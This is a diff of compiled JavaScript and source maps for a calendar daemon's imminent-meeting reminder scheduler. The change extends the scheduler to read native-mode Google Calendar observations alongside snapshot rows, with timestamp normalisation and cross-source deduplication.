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"}
@@ -4,19 +4,32 @@ import type { Observer } from "./manager.js";
4
4
  /**
5
5
  * 15-minute imminent-meeting reminder emitter.
6
6
  *
7
- * Reads `integration_snapshots` for calendar events whose `item_start`
8
- * falls inside `[now, now + 15min]` and emits one `schedule.approaching`
9
- * event per item via the EventBus. Mode-agnostic: the snapshot table is
10
- * populated by `CalendarPoller` (direct mode) or `DelegatedSyncWorker`
11
- * (delegated mode), so the same scheduler works regardless of which
12
- * source is active.
7
+ * Reads two sources for upcoming Google Calendar events in `[now, now + 15min]`
8
+ * and emits one `schedule.approaching` event per item via the EventBus:
9
+ *
10
+ * - `integration_snapshots` rows for `integration = 'google_calendar'`
11
+ * populated by `CalendarPoller` (direct mode) and `DelegatedSyncWorker`
12
+ * (delegated mode).
13
+ * - `observations` rows for `source LIKE 'google_calendar:%'` — populated
14
+ * by the agent's `/api/observations` POSTs during the native-mode
15
+ * `routine.fetch_window` pre-pass (`imminent_2h` window). In native
16
+ * mode the daemon does NOT poll and integration_snapshots stays empty
17
+ * by design (`INTEGRATION_SNAPSHOT_PARTITIONS_BY_MODE[google_calendar].native = []`);
18
+ * without this second source, native-mode users would silently lose
19
+ * every 15-minute reminder. Cadence note: native observations refresh
20
+ * on the hourly_check tick (60-min cadence) so events scheduled with
21
+ * less than ~60 min lead-time may miss their reminder. The 5-min
22
+ * direct-mode polling cadence does not have this limit.
13
23
  *
14
24
  * INTEGRATION-DRIFT-PHASE-7-PLAN.md §3.2 — dedup is persistent. Pre-
15
25
  * Phase-7 the scheduler kept an in-memory Set; daemon restarts re-DMed
16
26
  * every imminent event in flight. The new `imminent_event_notifications`
17
27
  * table records `(item_id, notified_at)` on each emit and is consulted
18
28
  * before each tick. Retention prunes rows older than 24 h via
19
- * retention.ts.
29
+ * retention.ts. Cross-source dedup is automatic: snapshot `item_id` and
30
+ * observation `ref` both use the provider's stable event id, so the
31
+ * same row in both tables resolves to a single `imminent_event_notifications`
32
+ * entry.
20
33
  */
21
34
  export declare class ImminentEventScheduler implements Observer {
22
35
  private readonly db;
@@ -1 +1 @@
1
- {"version":3,"file":"imminent-event-scheduler.d.ts","sourceRoot":"","sources":["../../src/observers/imminent-event-scheduler.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,QAAQ,MAAM,gBAAgB,CAAC;AAM3C,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,sBAAsB,CAAC;AACrD,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,cAAc,CAAC;AAkB7C;;;;;;;;;;;;;;;;GAgBG;AACH,qBAAa,sBAAuB,YAAW,QAAQ;IAMnD,OAAO,CAAC,QAAQ,CAAC,EAAE;IACnB,OAAO,CAAC,QAAQ,CAAC,QAAQ;IACzB,OAAO,CAAC,QAAQ,CAAC,UAAU;IAC3B,OAAO,CAAC,QAAQ,CAAC,eAAe;IAChC,OAAO,CAAC,QAAQ,CAAC,GAAG;IATtB,QAAQ,CAAC,IAAI,8BAA8B;IAE3C,OAAO,CAAC,KAAK,CAA+C;gBAGzC,EAAE,EAAE,QAAQ,CAAC,QAAQ,EACrB,QAAQ,EAAE,QAAQ,EAClB,UAAU,EAAE,MAAM,EAClB,eAAe,SAAK,EACpB,GAAG,GAAE,MAAM,IAAuB;IAG/C,KAAK,IAAI,OAAO,CAAC,IAAI,CAAC;IAYtB,IAAI,IAAI,OAAO,CAAC,IAAI,CAAC;IAQrB,IAAI,IAAI,OAAO,CAAC,IAAI,CAAC;CAyF5B"}
1
+ {"version":3,"file":"imminent-event-scheduler.d.ts","sourceRoot":"","sources":["../../src/observers/imminent-event-scheduler.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,QAAQ,MAAM,gBAAgB,CAAC;AAM3C,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,sBAAsB,CAAC;AACrD,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,cAAc,CAAC;AAkE7C;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA6BG;AACH,qBAAa,sBAAuB,YAAW,QAAQ;IAMnD,OAAO,CAAC,QAAQ,CAAC,EAAE;IACnB,OAAO,CAAC,QAAQ,CAAC,QAAQ;IACzB,OAAO,CAAC,QAAQ,CAAC,UAAU;IAC3B,OAAO,CAAC,QAAQ,CAAC,eAAe;IAChC,OAAO,CAAC,QAAQ,CAAC,GAAG;IATtB,QAAQ,CAAC,IAAI,8BAA8B;IAE3C,OAAO,CAAC,KAAK,CAA+C;gBAGzC,EAAE,EAAE,QAAQ,CAAC,QAAQ,EACrB,QAAQ,EAAE,QAAQ,EAClB,UAAU,EAAE,MAAM,EAClB,eAAe,SAAK,EACpB,GAAG,GAAE,MAAM,IAAuB;IAG/C,KAAK,IAAI,OAAO,CAAC,IAAI,CAAC;IAYtB,IAAI,IAAI,OAAO,CAAC,IAAI,CAAC;IAQrB,IAAI,IAAI,OAAO,CAAC,IAAI,CAAC;CA0K5B"}
@@ -1,22 +1,45 @@
1
1
  import { createEvent, EventPriority, } from "@aitne/shared";
2
2
  import { createLogger } from "../logging.js";
3
3
  const logger = createLogger("imminent-event-scheduler");
4
+ function extractCalendarPayload(parsed) {
5
+ // Observation `raw.title` wins for native rows; snapshot `summary` wins
6
+ // for direct / delegated rows. The two writers never produce both keys,
7
+ // so the precedence is informational rather than collision-resolving.
8
+ const raw = parsed.raw ?? undefined;
9
+ const title = raw?.title ?? raw?.summary ?? parsed.summary ?? null;
10
+ const start = raw?.start ?? parsed.start ?? null;
11
+ const end = raw?.end ?? parsed.end ?? null;
12
+ return { title, start, end };
13
+ }
4
14
  /**
5
15
  * 15-minute imminent-meeting reminder emitter.
6
16
  *
7
- * Reads `integration_snapshots` for calendar events whose `item_start`
8
- * falls inside `[now, now + 15min]` and emits one `schedule.approaching`
9
- * event per item via the EventBus. Mode-agnostic: the snapshot table is
10
- * populated by `CalendarPoller` (direct mode) or `DelegatedSyncWorker`
11
- * (delegated mode), so the same scheduler works regardless of which
12
- * source is active.
17
+ * Reads two sources for upcoming Google Calendar events in `[now, now + 15min]`
18
+ * and emits one `schedule.approaching` event per item via the EventBus:
19
+ *
20
+ * - `integration_snapshots` rows for `integration = 'google_calendar'`
21
+ * populated by `CalendarPoller` (direct mode) and `DelegatedSyncWorker`
22
+ * (delegated mode).
23
+ * - `observations` rows for `source LIKE 'google_calendar:%'` — populated
24
+ * by the agent's `/api/observations` POSTs during the native-mode
25
+ * `routine.fetch_window` pre-pass (`imminent_2h` window). In native
26
+ * mode the daemon does NOT poll and integration_snapshots stays empty
27
+ * by design (`INTEGRATION_SNAPSHOT_PARTITIONS_BY_MODE[google_calendar].native = []`);
28
+ * without this second source, native-mode users would silently lose
29
+ * every 15-minute reminder. Cadence note: native observations refresh
30
+ * on the hourly_check tick (60-min cadence) so events scheduled with
31
+ * less than ~60 min lead-time may miss their reminder. The 5-min
32
+ * direct-mode polling cadence does not have this limit.
13
33
  *
14
34
  * INTEGRATION-DRIFT-PHASE-7-PLAN.md §3.2 — dedup is persistent. Pre-
15
35
  * Phase-7 the scheduler kept an in-memory Set; daemon restarts re-DMed
16
36
  * every imminent event in flight. The new `imminent_event_notifications`
17
37
  * table records `(item_id, notified_at)` on each emit and is consulted
18
38
  * before each tick. Retention prunes rows older than 24 h via
19
- * retention.ts.
39
+ * retention.ts. Cross-source dedup is automatic: snapshot `item_id` and
40
+ * observation `ref` both use the provider's stable event id, so the
41
+ * same row in both tables resolves to a single `imminent_event_notifications`
42
+ * entry.
20
43
  */
21
44
  export class ImminentEventScheduler {
22
45
  db;
@@ -48,44 +71,125 @@ export class ImminentEventScheduler {
48
71
  async tick() {
49
72
  const now = this.now();
50
73
  const max = new Date(now.getTime() + 15 * 60 * 1000);
51
- // LEFT-JOIN against the dedup table so a row already notified is
52
- // skipped without a second round-trip per row. The `notified_at IS
53
- // NULL` clause is the dedup gate; the index on (item_id) makes the
54
- // join O(1) per row.
74
+ const nowIso = now.toISOString();
75
+ const maxIso = max.toISOString();
76
+ // UNION ALL across the two writers (snapshot table for direct /
77
+ // delegated; observations table for native). LEFT-JOIN against the
78
+ // dedup table at the outer level so a row already notified is
79
+ // skipped regardless of which source produced it. Cross-source
80
+ // duplicates (same provider event id appearing in both tables, e.g.
81
+ // briefly during a mode flip) collapse via the JS-side `seen` set
82
+ // below — we emit at most one `schedule.approaching` event per
83
+ // item_id even if both queries surface it.
84
+ //
85
+ // The observation branch is keyed by `o.consumed_at IS NULL` so we
86
+ // don't fire reminders for events the morning routine already
87
+ // consumed (the pending-observations filter). Direct/delegated
88
+ // snapshots have no consumed_at column — the writer reconciles
89
+ // in-place, so the snapshot row always reflects the current state.
90
+ // Timestamp normalisation rationale (Issue A1, 2026-05-13).
91
+ //
92
+ // Snapshot path: the writer normalises `item_start` to UTC ISO with
93
+ // Z suffix via `normalizeTimeForRange` (integrations-snapshot.ts)
94
+ // before insert, so raw string compare on snapshots is correct AND
95
+ // can use the `idx_integration_snapshots_imminent` covering index
96
+ // (a `datetime()` wrapper would block the index per SQLite's
97
+ // "expressions on indexed column" rule).
98
+ //
99
+ // Observation path: the writer is the agent's `/api/observations`
100
+ // POST — the partial's contract is "the response from the upstream
101
+ // call IS the payload, do not summarise or rank", so the start
102
+ // timestamp inherits whatever format the bound Calendar MCP
103
+ // emitted. Google Calendar MCPs typically return RFC 3339 with
104
+ // timezone offset (`2026-04-29T08:00:00-04:00`). A lexicographic
105
+ // compare of those against the UTC-Z `now.toISOString()` parameter
106
+ // mis-orders rows across the dateline / DST boundary and silently
107
+ // drops imminent reminders. SQLite's `datetime()` normalises both
108
+ // forms to the canonical `'YYYY-MM-DD HH:MM:SS'` UTC string; NULL
109
+ // / unparseable inputs return NULL which the WHERE filter
110
+ // discards.
111
+ //
112
+ // ORDER BY: `datetime()`-normalised on both sides so the
113
+ // cross-source dedup case (snapshot + observation rows for the
114
+ // same event id appearing during a mode flip) deterministically
115
+ // picks the same winner regardless of which format the
116
+ // observation row carries. The set ordered here is already
117
+ // narrowed by the WHERE filter to rows in [now, now+15min] — a
118
+ // handful, not the full table — so the per-row `datetime()` cost
119
+ // is negligible.
55
120
  const rows = this.db
56
- .prepare(`SELECT s.item_id AS item_id,
57
- s.payload_json AS payload_json,
58
- s.item_start AS item_start
59
- FROM integration_snapshots s
121
+ .prepare(`SELECT candidates.source_kind AS source_kind,
122
+ candidates.item_id AS item_id,
123
+ candidates.payload_json AS payload_json,
124
+ candidates.item_start AS item_start
125
+ FROM (
126
+ SELECT 'snapshot' AS source_kind,
127
+ s.item_id AS item_id,
128
+ s.payload_json AS payload_json,
129
+ s.item_start AS item_start
130
+ FROM integration_snapshots s
131
+ WHERE s.integration = 'google_calendar'
132
+ AND s.item_start IS NOT NULL
133
+ AND s.item_start > ?
134
+ AND s.item_start <= ?
135
+ UNION ALL
136
+ SELECT 'observation' AS source_kind,
137
+ o.ref AS item_id,
138
+ o.payload AS payload_json,
139
+ json_extract(o.payload, '$.raw.start') AS item_start
140
+ FROM observations o
141
+ WHERE o.source LIKE 'google_calendar:%'
142
+ AND o.consumed_at IS NULL
143
+ -- json_valid guards against the SQLite json_extract runtime
144
+ -- error when the payload column happens to contain non-JSON
145
+ -- text. The agent's /api/observations POST handler rejects
146
+ -- malformed bodies, so production never hits this branch.
147
+ -- The gate matches the snapshot path's recovery contract:
148
+ -- skip the row, do NOT write a dedup entry, let the next
149
+ -- tick reprocess if the upstream row gets repaired.
150
+ AND json_valid(o.payload) = 1
151
+ AND json_extract(o.payload, '$.kind') = 'calendar'
152
+ AND json_extract(o.payload, '$.raw.start') IS NOT NULL
153
+ AND datetime(json_extract(o.payload, '$.raw.start')) > datetime(?)
154
+ AND datetime(json_extract(o.payload, '$.raw.start')) <= datetime(?)
155
+ ) AS candidates
60
156
  LEFT JOIN imminent_event_notifications n
61
- ON n.item_id = s.item_id
62
- WHERE s.integration = 'google_calendar'
63
- AND s.item_start IS NOT NULL
64
- AND s.item_start > ?
65
- AND s.item_start <= ?
66
- AND n.notified_at IS NULL
67
- ORDER BY s.item_start ASC`)
68
- .all(now.toISOString(), max.toISOString());
157
+ ON n.item_id = candidates.item_id
158
+ WHERE n.notified_at IS NULL
159
+ ORDER BY datetime(candidates.item_start) ASC`)
160
+ .all(nowIso, maxIso, nowIso, maxIso);
69
161
  if (rows.length === 0)
70
162
  return;
71
163
  const insertNotification = this.db.prepare(`INSERT INTO imminent_event_notifications (item_id, notified_at)
72
164
  VALUES (?, ?)
73
165
  ON CONFLICT(item_id) DO NOTHING`);
166
+ // Cross-source dedup: the snapshot writer and the observation writer
167
+ // can briefly carry the same provider event id during a direct↔native
168
+ // mode flip (snapshot purge is best-effort, agent posts happen in-turn).
169
+ // The DB-level `imminent_event_notifications` dedup catches this once
170
+ // the first row is processed, but on a single tick where both rows
171
+ // pass the WHERE filter we'd otherwise emit twice before the INSERT
172
+ // commits. Track item_ids in-loop and skip the second occurrence.
173
+ const seen = new Set();
74
174
  for (const row of rows) {
175
+ if (seen.has(row.item_id))
176
+ continue;
177
+ seen.add(row.item_id);
75
178
  const startMs = Date.parse(row.item_start);
76
179
  if (!Number.isFinite(startMs))
77
180
  continue;
78
181
  const minutesUntil = (startMs - now.getTime()) / 60_000;
79
182
  if (minutesUntil <= 0 || minutesUntil > 15)
80
183
  continue;
81
- let payload;
184
+ let parsed;
82
185
  try {
83
- payload = JSON.parse(row.payload_json);
186
+ parsed = JSON.parse(row.payload_json);
84
187
  }
85
188
  catch (err) {
86
- logger.warn({ err, itemId: row.item_id }, "Skipping imminent event with invalid snapshot payload");
189
+ logger.warn({ err, itemId: row.item_id, sourceKind: row.source_kind }, "Skipping imminent event with invalid payload");
87
190
  continue;
88
191
  }
192
+ const payload = extractCalendarPayload(parsed);
89
193
  // Mark notified BEFORE the EventBus put. If the put throws, a
90
194
  // duplicate emit on the next tick is preferable to losing the row
91
195
  // here, but the put path itself is in-memory and synchronous —
@@ -101,14 +205,14 @@ export class ImminentEventScheduler {
101
205
  priority: EventPriority.HIGH,
102
206
  data: {
103
207
  calendarEventId: row.item_id,
104
- summary: payload.summary ?? "",
208
+ summary: payload.title ?? "",
105
209
  startTime: payload.start ?? row.item_start,
106
210
  endTime: payload.end ?? null,
107
211
  minutesUntil: Math.round(minutesUntil),
108
212
  },
109
213
  }),
110
214
  calendarId: this.calendarId,
111
- eventTitle: payload.summary ?? "Untitled Event",
215
+ eventTitle: payload.title ?? "Untitled Event",
112
216
  startTime: new Date(startMs),
113
217
  endTime: payload.end ? new Date(payload.end) : null,
114
218
  changeType: "approaching",
@@ -116,7 +220,8 @@ export class ImminentEventScheduler {
116
220
  await this.eventBus.put(event);
117
221
  logger.info({
118
222
  itemId: row.item_id,
119
- event: payload.summary,
223
+ sourceKind: row.source_kind,
224
+ event: payload.title,
120
225
  minutesUntil: Math.round(minutesUntil),
121
226
  }, "Approaching calendar event");
122
227
  }
@@ -1 +1 @@
1
